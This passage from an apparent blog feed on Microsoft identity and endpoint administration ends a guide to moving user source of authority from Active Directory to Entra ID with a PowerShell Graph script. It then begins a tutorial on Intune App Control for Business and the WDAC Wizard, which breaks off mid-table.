<th><img src="\entra\soa\GroupsSOA-audit2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><img src="\entra\soa\GroupsSOA-audit3.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
</div>
<h2 id="transferring-user-soa-from-ad-to-entra" tabindex="-1">👤 Transferring user SOA from AD to Entra <a class="header-anchor" href="#transferring-user-soa-from-ad-to-entra" aria-label="Permalink to &quot;:bust_in_silhouette: Transferring user SOA from AD to Entra&quot;">&ZeroWidthSpace;</a></h2>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>Please be aware that this Feature is in Preview at the moment.</p>
</div>
<ol>
<li>To transfer the source of authority for a user from AD to Entra, make sure that the user is synchronized to Entra.</li>
</ol>
<img src="\entra\soa\UsersSOA1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="2">
<li>When you got the users synchronized, you can use PowerShell to change the SOA.</li>
</ol>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>You can get a list of all your users that are currently synchronized from on-prem by running the following command:</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">get-mgbetauser</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">all </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">property </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.OnPremisesSyncEnabled </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> $true</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> } </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> select Displayname</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> OnPremisesSyncEnabled</span></span></code></pre>
</div></div>
<ol start="3">
<li>Use the following PowerShell script to change the SOA of a user from AD to Entra.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Import-Module</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Microsoft.Graph.Beta.Users</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Import-Module</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Microsoft.Graph.Authentication</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Define the Parameters</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$tenantId </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "[YourTenantID]"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$userName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "[MyUserName]"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">#Connect to Microsoft Graph using delegated permissions</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Connect-MgGraph</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scopes </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"User.Read.All, User-OnPremisesSyncBehavior.ReadWrite.All"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">TenantId $tenantId</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Retrieve the user using user name</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$user </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-MgBetaUser</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Filter </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"displayName eq '</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$userName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Ensure user is found</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$null</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -ne</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $user)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $userObjectID </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> $</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">($user.Id)</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # Define the Microsoft Graph API endpoint for the user</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $url </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "https://graph.microsoft.com/beta/users/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$userObjectID</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">/onPremisesSyncBehavior"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # Define the JSON payload for the PATCH request</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $jsonPayload </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        isCloudManaged </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "true"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    } </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> ConvertTo-Json</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # Make the PATCH request to update the JSON payload</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Invoke-MgGraphRequest</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Uri $url </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Method Patch </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ContentType </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"application/json"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Body $jsonPayload</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $result </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Invoke-MgGraphRequest</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Method Get </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Uri </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"https://graph.microsoft.com/beta/users/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$userObjectID</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">/onPremisesSyncBehavior?</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">`$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">select=id,isCloudManaged"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "User Name: </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$user.DisplayName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "User ID: </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$result.id</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "SOA Converted: </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$result.isCloudManaged</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Warning</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "User '</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$userName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">' not found."</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><img src="\entra\soa\UsersSOA2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<img src="\entra\soa\UsersSOA3.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>If you want to change the SOA for multiple users, can just edit this line <code>$user = Get-MgBetaUser -Filter &quot;displayName eq '$userName'&quot;</code> to change the filter
and the <code>$user</code> to <code>$users</code> and then put a <code>foreach($user in $users)</code> loop around the code directly beneath that.</p>
</div>
<ol start="4">
<li>Now you will see that the <strong>source</strong> field in the users changed from <strong>Windows Server AD</strong> to <strong>Cloud</strong>.</li>
</ol>
<img src="\entra\soa\UsersSOA4.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can also check the audit logs to confirm the change.</p>
<img src="\entra\soa\UsersSOA-audit1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<table>
<thead>
<tr>
<th><img src="\entra\soa\UsersSOA-audit2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><img src="\entra\soa\UsersSOA-audit3.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
</div>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p><span style="color:crimson">Moving the source of authority</span> from Active Directory to Entra ID <span style="color:crimson">is a practical way to make cloud migrations easier</span>, modernize identity, improve security and reduce on-premises reliance.
This shift <span style="color:crimson">simplifies admin tasks</span> and sets the stage for features like self-service, conditional access and automated lifecycle management.</p>
<p>The safest path is pragmatic and phased: <span style="color:crimson">start by inventorying apps and dependencies, then pilot a small set of users or groups</span>.
Validate authentication, SSO and use the right integration method per app.
As you scale, <span style="color:crimson">monitor closely</span> and leverage Entra governance to automate routine processes.</p>
<p><span style="color:crimson">Start small and try to iterate.</span>
This approach lowers migration risk, minimizes headaches, delivers better manageability and positions your organization for a more flexible and secure future.</p>
<div class="danger custom-block"><p class="custom-block-title">WARNING</p>
<p>But be aware that it needs a cultural shift within the organization to fully embrace these changes.
Not only in departments like HR, with the automation of onboarding and offboarding processes, but also in IT, where admins need to get used to new tools, workflows and letting go of old habits. With these automations and workflows and the accountability in form of strong audit trails and security it brings, you got more options to delegating responsibilities (with admin units, entitlement management, workflow automation, access reviews etc.), empowering teams and reducing your workload.</p>
<p><strong>But this shouldn't keep you from starting this journey. Nobody starts at 100% and using all the tools and all the possibilities at once. Start small, try things out, learn and iterate.</strong></p>
</div>
<p><u>SOA battle card infos for IT admins</u></p>
<p>These are some key points you can use to explain yourself about the benefits of transferring your identity management to the cloud.</p>
<p>Understanding strategic benefits</p>
<ul>
<li>Reduces security risks and costs, while elevating flexibility by minimizing on-premises dependencies.</li>
<li>Enables modern security features (Conditional Access, passwordless, Zero Trust).</li>
<li>Possibilities to streamline identity management and governance with automation.</li>
</ul>
<p>Monitoring &amp; accountability</p>
<ul>
<li>Strong audit trails for compliance and audits.</li>
<li>Possibilities for delegation and clear separation of duties.</li>
<li>Tools to get workflows and decisions back to the people where they belong, without the IT as middle man and without compromising security, compliance or administrative control.</li>
<li>Enables self-service for users and managers, reducing IT workloads.</li>
</ul>
<p><u>Resources</u></p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/entra/architecture/road-to-the-cloud-posture" target="_blank" rel="noreferrer">Cloud transformation posture - Microsoft Learn</a></li>
<li><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/guidance-it-architects-source-of-authority" target="_blank" rel="noreferrer">Cloud-First identity management: Guidance for IT architects - Microsoft Learn</a></li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[App Control for Business | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/[pkg].html</link>
            <guid>https://michaelsendpoint.com/intune/[pkg].html</guid>
            <pubDate>Wed, 01 Oct 2025 23:10:39 GMT</pubDate>
            <description><![CDATA[App Control for Business is a security feature within Microsoft Intune that helps manage allowed apps on Windows devices.]]></description>
            <content:encoded><![CDATA[<img src="\intune\appcontrol\banner.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p>&nbsp;</p>
<h1 id="app-control-for-business" tabindex="-1">App Control for Business <a class="header-anchor" href="#app-control-for-business" aria-label="Permalink to &quot;App Control for Business&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>App Control for Business is a security feature in Microsoft Intune that helps organizations control which apps can run on Windows devices.
It ensures only approved applications are allowed while blocking anything that doesn’t meet your company’s rules.
These policies are part of Intune’s endpoint security and use the Windows ApplicationControl CSP to enforce restrictions.</p>
<p>Intune’s managed installer policy also tags apps (not retroactively) you deploy through Intune as trusted, so software deployed through your MDM does not need to be approved, saving time when you also use Intune for your app deployment.
Here Microsoft made huge steps in simplifying approving apps, with their latest update, which lets you create multiple Managed Installer rules and assign them to different groups.
This seems to suggest that it is only a matter of time until other managed installers are able to be used similarly.</p>
<p><u>Why use it?</u></p>
<p>App Control for Business prevents risky or unnecessary software from running.</p>
<ul>
<li><strong>Reduce risks:</strong> block untrusted apps, tampered with apps or simply unwanted apps.</li>
<li><strong>White-/Blacklisting:</strong> only approved apps are allowed.</li>
<li><strong>Shadow IT:</strong> prevent unauthorized third party apps from being installed.</li>
<li><strong>Licensing:</strong> help your compliance team keep unlicensed software installations in check.</li>
</ul>
<p><u>App Control for Business vs. AppLocker</u></p>
<p>You may have recognized that it sounds an awful lot like AppLocker. Here is the difference:</p>
<table>
<thead>
<tr>
<th>Feature / Capability</th>
<th style="text-align:center">App Control for Business</th>
<th style="text-align:center">AppLocker</th>
</tr>
</thead>
<tbody>
<tr>
<td>Control which apps can run</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
</tr>
<tr>
<td>Integrates with Intune</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">❌</td>
</tr>
<tr>
<td>For cloud-managed environments</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">❌</td>
</tr>
<tr>
<td>Automatic trust for Intune-deployed apps</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">❌</td>
</tr>
<tr>
<td>Uses Windows ApplicationControl CSP</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">❌</td>
</tr>
<tr>
<td>Rule types (path, publisher, hash)</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
</tr>
<tr>
<td>Strong enforcement / blocks bypass attempts</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">⚠️</td>
</tr>
<tr>
<td>Easy to manage at scale</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">⚠️</td>
</tr>
<tr>
<td>Managed via Group Policy</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">✅</td>
</tr>
<tr>
<td>Getting new features</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">❌</td>
</tr>
<tr>
<td>Windows 7 and earlier</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">✅</td>
</tr>
<tr>
<td>User based policies (for shared devices)</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">✅</td>
</tr>
</tbody>
</table>
<p>✅ = Fully supported<br>
⚠️ = With limitations<br>
❌ = Not supported</p>
<p><span style="color:crimson">In short, if you can use App Control for Business, you should.</span><br>
But there are a few scenarios where AppLocker might still be needed.</p>
<h2 id="managed-installer" tabindex="-1">💾 Managed installer <a class="header-anchor" href="#managed-installer" aria-label="Permalink to &quot;:floppy_disk: Managed installer&quot;">&ZeroWidthSpace;</a></h2>
<p>A managed installer marks apps and all the files it installs as trusted.
As soon as a policy is created, all deployed apps will get tagged as coming from a managed installer.
App Control can be set to allow these apps to run, unless a specific deny rule blocks them.</p>
<div class="danger custom-block"><p class="custom-block-title">DANGER</p>
<p>When you enable this feature, any app deployed via Intune is automatically trusted. If an Intune-distributed app becomes compromised, App Control will not block it.</p>
</div>
<ol>
<li>Open the Microsoft <strong>Intune admin center</strong> -&gt; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_Workflows/SecurityManagementMenu/~/appControl" target="_blank" rel="noreferrer">App Control for Business</a> and click on the <strong>Managed Installer</strong> tab.</li>
</ol>
<img src="\intune\appcontrol\add-managed-installer.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<ol start="2">
<li>With <code>+ Create</code> you can now create a managed installer policy, adding Intune as a trusted Installer.</li>
</ol>
<img src="\intune\appcontrol\managed-installer-policy.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find known limitations to the managed installer feature <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/configure-authorized-apps-deployed-with-a-managed-installer#known-limitations-with-managed-installer" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<h2 id="app-control-policy" tabindex="-1">🔏 App Control policy <a class="header-anchor" href="#app-control-policy" aria-label="Permalink to &quot;:lock_with_ink_pen: App Control policy&quot;">&ZeroWidthSpace;</a></h2>
<p>With Intune’s App Control for Business policies, you control which apps can run on your managed Windows devices.
By default, apps not approved by the policy are blocked.
If you enable Audit mode, all apps are allowed to run, but their activity is logged locally for review.</p>
<p>There are two types of policies: base policies and supplemental policies.
A base policy is the starting point that defines the core rules for which apps can run on your managed Windows devices.
Once you’ve set up a base policy, using either XML data or the built-in controls, you can expand it with supplemental policies.
Supplemental policies let you add more rules in XML format to build on the original base policy.
You can also apply multiple supplemental policies to the same base policy, giving you flexibility and fine-grained control over your app management.</p>
<p>Microsoft also is hard at work expanding the controls in Intune and making it easier to create policies in the future without the need for XML knowledge.</p>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>You should always start with auditing your policy, so to not block all your apps.</p>
</div>
<ol>
<li>Open the Microsoft <strong>Intune admin center</strong> -&gt; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_Workflows/SecurityManagementMenu/~/appControl" target="_blank" rel="noreferrer">App Control for Business</a> and click on <code>+ Create Policy</code>.</li>
</ol>
<img src="\intune_wdac\3_settings_profile.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="2">
<li>Now add the policy name and description.</li>
<li>In the <strong>Configuration settings</strong> tab, you have two possibilities for the <strong>Configuration settings format</strong>.
<ul>
<li>Use built-in controls</li>
<li>Enter xml data</li>
</ul>
</li>
</ol>
<img src="\intune_wdac\4_settings_pre.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="4">
<li>The built-in controls provide Microsoft template options, allowing you to trust <span style="color:crimson">Windows components</span> and <span style="color:crimson">Store apps</span>. You can also choose to <span style="color:crimson">trust files with good reputation</span> and <span style="color:crimson">trust apps from managed installers</span>. Additionally, select whether to apply an <span style="color:crimson">Audit</span> policy (logs activity without blocking apps) or to <span style="color:crimson">enforce</span> the rules (blocks unapproved apps).</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>To generate XML data for custom app control policies, use the official Microsoft tool <span style="color:crimson">WDAC Wizard</span>.<br>
See the step-by-step instructions in the <a href="#wdac-wizard">WDAC Wizard</a> section below.</p>
<img src="\intune_wdac\5_settings_xml.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
</div>
<ol start="5">
<li>Next up you can insert your tags and add your assignments</li>
<li>Then click <code>Create</code> and you're done</li>
</ol>
<p>If you use the built-in controls as <span style="color:crimson">base policy</span>, in the following table you will find the standard policy IDs for reference in your supplemental policies.
These IDs do not change.</p>
<table>
<thead>
<tr>
<th style="text-align:center">Base policy ID</th>
<th style="text-align:left">Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center"><span>{A8012CFC-D8AE-493C-B2EA-510F035F1250}</span></td>
<td style="text-align:left">Enable app control policy to trust Windows components and Store apps.</td>
</tr>
<tr>
<td style="text-align:center"><span>{D6D6C2D6-E8B6-4D8F-8223-14BE1DE562FF}</span></td>
<td style="text-align:left">Enable app control policy to trust Windows components and Store apps and Trust apps with good reputation.</td>
</tr>
<tr>
<td style="text-align:center"><span>{63D1178A-816A-4AB6-8ECD-127F2DF0CE47}</span></td>
<td style="text-align:left">Enable app control policy to trust Windows components and Store apps and Trust apps from managed installers.</td>
</tr>
<tr>
<td style="text-align:center"><span>{2DA0F72D-1688-4097-847D-C42C39E631BC}</span></td>
<td style="text-align:left">Enable app control policy to trust Windows components and Store apps and Trust apps with good reputation<br> and Trust apps from managed installers.</td>
</tr>
</tbody>
</table>
<h2 id="wdac-wizard" tabindex="-1">🪄 WDAC Wizard <a class="header-anchor" href="#wdac-wizard" aria-label="Permalink to &quot;:magic_wand: WDAC Wizard&quot;">&ZeroWidthSpace;</a></h2>
<p>(App Control for Business Wizard)</p>
<p>App Control for Business Wizard is an open-source tool from Microsoft that helps IT administrators quickly set up App Control for Business policies.
The wizard provides a user-friendly interface for creating, editing and merging App Control policies.</p>
<p><a href="https://webapp-wdac-wizard.azurewebsites.net/" target="_blank" rel="noreferrer">Download</a> and install it from the Microsoft website.</p>
<img src="\intune\appcontrol\6_install_wdac.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<h3 id="base-policy" tabindex="-1">Base Policy <a class="header-anchor" href="#base-policy" aria-label="Permalink to &quot;Base Policy&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>When you start the app, we first need to create a new policy with <code>Policy Creator</code>.</li>
</ol>
<img src="\intune\appcontrol\appcontrol-wizard.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="2">
<li>Then we select the type of policy we want to create, in this case a <span style="color:crimson">Base Policy</span> with <span style="color:crimson">Multiple Policy Format</span>.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p><strong>Multiple Policy</strong> Format means that the policy can be used as a base policy and expanded with supplemental policies.</p>
</div>
<img src="\intune\appcontrol\8_wdac1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="3">
<li>Next we select a configuration templates, in this example the <span style="color:crimson">Signed and Reputable Mode</span>.
Generally you can think of the policies as being from most restrictive on the left, to least restrictive on the right. That does not mean that the <strong>Signed and Reputable Mode</strong> is not restrictive or an open policy.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>These templates essentially reflect the built-in controls Intune has offered, but with one key difference: Intune includes the <strong>Managed Installer</strong> as a main option and has overall more unchangeable settings, whereas in the older WDAC Wizard the <strong>Managed Installer</strong> was optional in all templates.</p>
</div>
<details class="details custom-block"><summary>Base Policy Template explanation</summary>
<table>
<thead>
<tr>
<th>Template Base Policy</th>
<th>Mode authorized components</th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Windows Mode</td>
<td><ul><li>Windows operating components - any binary installed by a fresh install of Windows</li><li>Apps installed from the Microsoft Store</li><li>Microsoft Office365 apps, OneDrive, and Microsoft Teams</li><li>Third-party Windows Hardware Compatible drivers</li></ul></td>
</tr>
<tr>
<td>Allow Microsoft Mode</td>
<td><ul><li>Windows operating components - any binary installed by a fresh install of Windows</li><li>Apps installed from the Microsoft Store</li><li>Microsoft Office365 apps, OneDrive, and Microsoft Teams</li><li>Third-party Windows Hardware Compatible drivers</li><li>All Microsoft-signed software</li></ul></td>
</tr>
<tr>
<td>Signed and Reputable Mode</td>
<td><ul><li>Windows operating components - any binary installed by a fresh install of Windows</li><li>Apps installed from the Microsoft Store</li><li>Microsoft Office365 apps, OneDrive, and Microsoft Teams</li><li>Third-party Windows Hardware Compatible drivers</li><li>All Microsoft-signed software</li><li>Files with good reputation per Microsoft Defender's Intelligent Security Graph technology</li></ul></td>
</tr>
</tbody>
</table>
</details>
<img src="\intune\appcontrol\appcontrol-wizard-template-selection.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="4">
<li>Now we are coming to the main policy rule configuration, where depending on our template, some rules are already preselected.
The template rules can generally be used as they are, with the exception of the <span style="color:crimson">Managed Installer rule</span>, which we want to enable to <span style="color:crimson">trust Intune</span> as a managed installer.</li>
</ol>
<details class="details custom-block"><summary>Policy Rule explanation</summary>
<table>
<thead>
<tr>
